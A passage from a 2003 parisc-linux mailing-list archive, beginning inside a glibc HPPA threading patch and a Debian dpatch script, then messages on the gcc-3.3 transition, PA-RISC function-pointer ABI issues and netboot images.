+  int __m_kind;                   /* Mutex kind: fast, recursive or errcheck */
+  struct _pthread_fastlock __m_lock; /* Underlying fast lock */
+} pthread_mutex_t;
+
+
+/* Attribute for mutex.  */
+typedef struct
+{
+  int __mutexkind;
+} pthread_mutexattr_t;
+
+
+/* Once-only execution */
+typedef int pthread_once_t;
+
+
+#ifdef __USE_UNIX98
+/* Read-write locks.  */
+typedef struct _pthread_rwlock_t
+{
+  struct _pthread_fastlock __rw_lock; /* Lock to guarantee mutual exclusion */
+  int __rw_readers;                   /* Number of readers */
+  _pthread_descr __rw_writer;         /* Identity of writer, or NULL if none */
+  _pthread_descr __rw_read_waiting;   /* Threads waiting for reading */
+  _pthread_descr __rw_write_waiting;  /* Threads waiting for writing */
+  int __rw_kind;                      /* Reader/Writer preference selection */
+  int __rw_pshared;                   /* Shared between processes or not */
+} pthread_rwlock_t;
+
+
+/* Attribute for read-write locks.  */
+typedef struct
+{
+  int __lockkind;
+  int __pshared;
+} pthread_rwlockattr_t;
+#endif
+
+#ifdef __USE_XOPEN2K
+/* POSIX spinlock data type.  */
+typedef __atomic_lock_t pthread_spinlock_t;
+
+/* POSIX barrier. */
+typedef struct {
+  struct _pthread_fastlock __ba_lock; /* Lock to guarantee mutual exclusion */
+  int __ba_required;                  /* Threads needed for completion */
+  int __ba_present;                   /* Threads waiting */
+  _pthread_descr __ba_waiting;        /* Queue of waiting threads */
+} pthread_barrier_t;
+
+/* barrier attribute */
+typedef struct {
+  int __pshared;
+} pthread_barrierattr_t;
+
+#endif
+
+
+/* Thread identifiers */
+typedef unsigned long int pthread_t;
+
+#endif	/* bits/pthreadtypes.h */
diff -urN glibc-2.3.1.orig/sysdeps/hppa/dl-fptr.c glibc-2.3.1/sysdeps/hppa/dl-fptr.c
--- glibc-2.3.1.orig/sysdeps/hppa/dl-fptr.c	2002-01-31 20:31:51.000000000 -0500
+++ glibc-2.3.1/sysdeps/hppa/dl-fptr.c	2003-01-15 18:24:36.000000000 -0500
@@ -30,7 +30,7 @@
 # include <pt-machine.h>
 
 /* Remember, we use 0 to mean that a lock is taken on PA-RISC. */
-static int __hppa_fptr_lock = 1;
+static __atomic_lock_t __hppa_fptr_lock = __LT_SPINLOCK_ALT_INIT;
 #endif
 
 /* Because ld.so is now versioned, these functions can be in their own
@@ -127,7 +127,7 @@
 #ifdef _LIBC_REENTRANT
   /* Release the lock.  Again, remember, zero means the lock is taken!  */
   if (mem == NULL)
-    __hppa_fptr_lock = 1;
+    __hppa_fptr_lock = __LT_SPINLOCK_INIT;
 #endif
 
   /* Set bit 30 to indicate to $$dyncall that this is a PLABEL. */
@@ -180,7 +180,7 @@
 
 #ifdef _LIBC_REENTRANT
   /* Release the lock. */
-  __hppa_fptr_lock = 1;
+  __hppa_fptr_lock = __LT_SPINLOCK_INIT;
 #endif
 }
 
@@ -190,6 +190,8 @@
   Elf32_Addr addr = (Elf32_Addr) address;
   struct hppa_fptr *f;
 
+  address = (void *)((unsigned long)address &~ 3); /* Clear the bottom two bits.  See make_fptr. */
+  
 #ifdef _LIBC_REENTRANT
   /* Make sure we are alone.  */
   while (testandset (&__hppa_fptr_lock));
@@ -204,7 +206,7 @@
 
 #ifdef _LIBC_REENTRANT
   /* Release the lock.   */
-  __hppa_fptr_lock = 1;
+  __hppa_fptr_lock = __LT_SPINLOCK_INIT;
 #endif
 
   return addr;

--7iMSBzlTiPOCCT2k
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="glibc23-hppa-malloc8.dpatch"

#! /bin/sh -e

# DP: Description: Return Malloc to 8-byte alignments. 
# DP: Author: Carlos O'Donell <carlos@baldric.uwo.ca>
# DP: Upstream status: Not submitted
# DP: Status Details: Writing Changelog, will get submitted in the next week or so... 
# DP: Date: March 1st, 2003

# Since GCC can't assure 16-byte alignment in all situations we have moved
# to the much more robust self aligning setup where an alignment of 8-bytes
# is perfectly okay. This patch reverts our malloc alignments to 8-bytes and
# allows us to have a more optimal situation from the viewpoint of the malloc
# algorithm.
#
#	- Carlos.

if [ $# -ne 2 ]; then
    echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
    exit 1
fi
case "$1" in
    -patch) patch -d "$2" -f --no-backup-if-mismatch -p1 < $0;;
    -unpatch) patch -d "$2" -f --no-backup-if-mismatch -R -p1 < $0;;
    *)
	echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
	exit 1
esac
exit 0

# append the patch here and adjust the -p? flag in the patch calls.
--- glibc-2.3.1/sysdeps/hppa/Makefile	2003-01-20 23:47:12.000000000 -0500
+++ glibc-2.3.1/sysdeps/hppa/Makefile	2003-01-20 23:47:19.000000000 -0500
@@ -22,10 +22,6 @@
 # CFLAGS-.os += -ffunction-sections
 LDFLAGS-c_pic.os += -Wl,--unique=.text*
 
-ifeq ($(subdir),malloc)
-CFLAGS-malloc.c += -DMALLOC_ALIGNMENT=16
-endif

From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sun, 2 Mar 2003 09:01:05 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20030302170105.GU11363__25139.6793210462$1416622252$gmane$org@tausq.org>
References: <200303020540.h225eeif006180@hiauly1.hia.nrc.ca> <Pine.LNX.4.44.0303020911230.24978-100000@sal.ucc.ie>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622252 22515 80.91.229.3 (22 Nov 2014 02:10:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:52 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  2 10:04:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34524482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Mar 2003 10:04:28 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id EE375CD294; Sun,  2 Mar 2003 09:01:05 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0303020911230.24978-100000@sal.ucc.ie>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17827

> This means that future glibc (in Debian/PA-RISC, unstable) will/must
> be compiled with gcc-3.3, along with all C++-programmes. Is this going to
> happen soon or do you wait until gcc-3.3 is offically released?

this is more or less up to the Debian release manager, but we are
probably not going to start gcc-3.3 transition until the gcc-3.2
transition is over.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Sun, 2 Mar 2003 13:50:01 -0500 (EST)
Lines: 48
Approved: news@gmane.org
Message-ID: <200303021850.h22Io1wm007358__42138.8286086314$1416622252$gmane$org@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.44.0303020911230.24978-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622252 22516 80.91.229.3 (22 Nov 2014 02:10:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:52 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  2 11:50:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 503A74829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Mar 2003 11:50:03 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h22Io2tI007359;
	Sun, 2 Mar 2003 13:50:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h22Io1wm007358;
	Sun, 2 Mar 2003 13:50:01 -0500 (EST)
In-Reply-To: <Pine.LNX.4.44.0303020911230.24978-100000@sal.ucc.ie> from "M. Grabert" at Mar 2, 2003 09:24:58 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17828

> Does this also imply that gcc/g++-3.3 will be the new default compiler
> for unstable then? What (kind of) existing broken applications will be
> fixed by recompiling with gcc-3.3?

I can't be very specific as to what's fixed as most of the fixes have
come about from fixing failures in the GCC and binutils testsuites.

The passing of small structs by value mainly affects C++ code.  It's
rather uncommon to pass structs by value in C.  I'm not aware of any
impact on glibc or hpux libc, for example.

The comparison of function pointers in dynamic applications was
broken.  This was found in the binutils testsuite.  It potentially
affects signal handlers, running of initializers and finalizers, etc.
The PA has a rather unique way of handling function pointers.  A function
pointer points to a function descriptor when the plabel bit is set,
otherwise it points directly to the entry point of the function.
The dynamic loader does the initial setup of the function descriptors.
The first call to any function actually transfers to the routine
fixup in the dynamic loader.  It resolves the address of the function
to call.  Function pointer comparison also requires that the function
address be resolved.  In GCC 3.0.4, we just compared the function
descriptor pointers.  However, there can be multiple function decriptors
pointing to the same function.  So, this wasn't reliable.  When the
dynamic loader design was done a couple of years ago, this appears
to have been overlooked.  HP-UX 11 has what they call official procedure
descriptors which are unique.  Because it's not that common to pass
function pointers around from one dynamic object to another and compare
them with pointers from another object, the problem doesn't arise that
frequently.

The dwarf2 EH implementation was done mainly for compatibility with
other linux ports.  It's probably more efficient the using sjlj
exceptions.  Potentially, it's something that ada can use.  I believe
that ACT is using dwarf2 EH in their commercial ada distribution
under hpux.  It may also be useful for gdb.  However, I don't think
there is a difference in GCC testresults.

The pthread design in glibc also is potentially an ABI breaker.

These are the PA specific ABI issues that I recall, but there might
be more.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: GOTO Masanori <gotom@debian.or.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Update HPPA LinuxThread implementation and remove old .dpatch's
Date: Mon, 03 Mar 2003 13:51:16 +0900
Lines: 47
Approved: news@gmane.org
Message-ID: <80wujhaw8r.wl__3273.02300506762$1416622252$gmane$org@oris.opensource.jp>
References: <20030302164816.GF3009@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416622252 22518 80.91.229.3 (22 Nov 2014 02:10:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:52 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	debian-glibc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  2 21:51:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oris.opensource.gr.jp (oris.opensource.jp [218.44.239.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CE224829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Mar 2003 21:51:19 -0700 (MST)
Original-Received: from oris.opensource.jp (oris.opensource.jp [218.44.239.73])
	by oris.opensource.gr.jp (Postfix) with ESMTP
	id 8A49DC33C7; Mon,  3 Mar 2003 13:51:16 +0900 (JST)
In-Reply-To: <20030302164816.GF3009@systemhalted>
User-Agent: Wanderlust/2.9.9 (Unchained Melody) SEMI/1.14.3 (Ushinoya)
 FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3 Emacs/21.2
 (i386-debian-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17829

At Sun, 2 Mar 2003 11:48:16 -0500,
Carlos O'Donell wrote:
> With regards to GNU/Libc 2.3.x
> 
> The following is an update of LinuxThreads for HPPA, the changelog
> is in progress and it has shown no regressions from a testing
> standpoint. It actually does better in the gcc/g++ testsuite. This work
> represents some long discussions between John David Anglin and myself,
> please read the dpatch for more information about a specific patch.
> 
> Please remove the following .dpatch files from debian-glibc's CVS:
> 
> glibc23-02-hppa-min-kern-unwind-fde.dpatch
> glibc23-03-hppa-mcontext.dpatch
> glibc23-04-hppa-fcntl64.dpatch
> glibc23-05-hppa-buildhack.dpatch
> glibc23-06-hppa-tests.dpatch
> glibc23-08-hppa-configure.dpatch
> 
> They are no longer being used and were superceeded by CVS patches.
> 
> Please replace glibc23-00-hppa-pthreads.dpatch with the attached version.
> Please add glibc23-hppa-malloc-align.dpatch to the list of HPPA patches.
> 
> Quick Summary:
> - LinuxThreads is now using a self-aligning lock.
> - Malloc alignment has been moved back to 8 for optimal performance.
> 
> I did this work over 2-3 weeks ago, but due to current time constraints
> it was behind "libgcc-compat hppa" on the queue, and thus didn't get
> out. Randolph Chung recently fixed hppa's __clz_tab libgcc-compat issue,
> which means I can take the 5 minutes I need to send this email :)
> 
> This code has been heavily tested by John and myself, though should any
> HPPA users find problems, or have comments, please file bugs and/or 
> contact me direclty or via any of the lists :)

Excellent :)

Thanks, but should it apply in 2.3.1-15?  I would like to delay to
apply it in 2.3.2-1.

Regards,
-- gotom




From - Thu Nov 08 21:26:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Update HPPA LinuxThread implementation and remove old .dpatch's
Date: Mon, 3 Mar 2003 08:19:59 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20030303131959.GZ3009__2663.53515112332$1416622253$gmane$org@systemhalted>
References: <20030302164816.GF3009@systemhalted> <80wujhaw8r.wl@oris.opensource.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622253 22520 80.91.229.3 (22 Nov 2014 02:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:53 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
To: GOTO Masanori <gotom@debian.or.jp>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 06:20:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45A38482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 06:20:07 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18pprL-0006gg-00; Mon, 03 Mar 2003 08:19:59 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	GOTO Masanori <gotom@debian.or.jp>, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Content-Disposition: inline
In-Reply-To: <80wujhaw8r.wl@oris.opensource.jp>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (91% Sync Ratio [=========.])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17830

> Excellent :)
> 
> Thanks, but should it apply in 2.3.1-15?  I would like to delay to
> apply it in 2.3.2-1.

It will work with -15, HPPA will FTBS under 2.3.2-1 because we haven't
written the sysdep-cancel support yet. The timeline for that looks like
atleast 2 weeks.

c.


From - Thu Nov 08 21:26:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Mon, 3 Mar 2003 15:27:04 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <3E5F8012000005AB__16759.2349266217$1416622253$gmane$org@ocpmta8.freegates.net>
References: <20030302045936.GS11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622253 22522 80.91.229.3 (22 Nov 2014 02:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:53 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>,
	"Matthias Klose" <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 07:27:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6428C4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 07:27:13 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18pquI-0007CP-00; Mon, 03 Mar 2003 15:27:06 +0100
Original-Received: from [194.78.198.168] by mail.tiscali.be with HTTP; Mon, 3 Mar 2003 15:27:04 +0100
In-Reply-To: <20030302045936.GS11363@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17831

>-- Original Message --
>From: Randolph Chung <tausq@debian.org>
>To: Matthias Klose <doko@cs.tu-berlin.de>
>Cc: debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
>	parisc-linux@lists.parisc-linux.org
>Reply-To: Randolph Chung <tausq@debian.org>
>Subject: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
>Date: Sat, 1 Mar 2003 20:59:36 -0800
>
>
>In reference to a message from Matthias Klose, dated Mar 01:
>> Matthias Klose writes:
>> > AFAIK the transition from 3.2 to 3.3 requires recompilation of C++
>> > code due to the changed exception handling (now DWARF2 based). As
>> > libstdc++ in 3.2 and 3.2 have the same soname, how to handle it?
>> > Currently 3.2 is in unstable only. Would you want to start the
>> > recompilation before 3.2 based binaries go to testing?
>> > 
>> > The packaging for 3.3 can be found in the Debian CVS.

hmm is there an url explaining how to grab it?

>> 
>> You can get test packages from
>> 	http://ftp-master.debian.org/~doko/gcc-3.3/
>

Nice and is it also possible to produce a 64bits version of gcc?

>well.... this is not looking good. after installing these in a freshly
>built sarge chroot, all c++ programs stop working (well, i've only tried
>two -- apt and fakeroot)
>
>(btw, small packaging detail, but the libstdc++*-dev package above
>cannot be installed cleanly because it overwrites things in the current
>3.2 package)
>
>randolph
>-- 
>Randolph Chung
>Debian GNU/Linux Developer, hppa/ia64 ports
>http://www.tausq.org/
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

Thanks,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] recent netboot iso?
Date: Mon, 3 Mar 2003 09:46:12 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <B578DAA4FD40684793C953B491D4879174CFD7@umr-mail7.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622253 22527 80.91.229.3 (22 Nov 2014 02:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:53 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 08:46:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay1.cc.umr.edu [131.151.1.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E00C4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Mar 2003 08:46:14 -0700 (MST)
Original-Received: from umr-mail7.umr.edu (umr-mail7.umr.edu [131.151.1.64]) via ESMTP by mrelay1.cc.umr.edu (8.12.1/) id h23FkD9i002469; Mon, 3 Mar 2003 09:46:13 -0600
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: recent netboot iso?
Thread-Index: AcLhnAUM2NdM8/seQlOD88OfNwYcEg==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17832

Is there a source for a recent netboot iso that includes the
hang-on-boot fixes for J282 class machines?

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


From - Thu Nov 08 21:26:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] recent netboot iso?
Date: Mon, 3 Mar 2003 16:57:47 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <E0CC492D-4D90-11D7-A259-0030656F07A2@esiee.fr>
References: <B578DAA4FD40684793C953B491D4879174CFD7@umr-mail7.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622254 22534 80.91.229.3 (22 Nov 2014 02:10:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:54 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  3 08:57:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E9654829
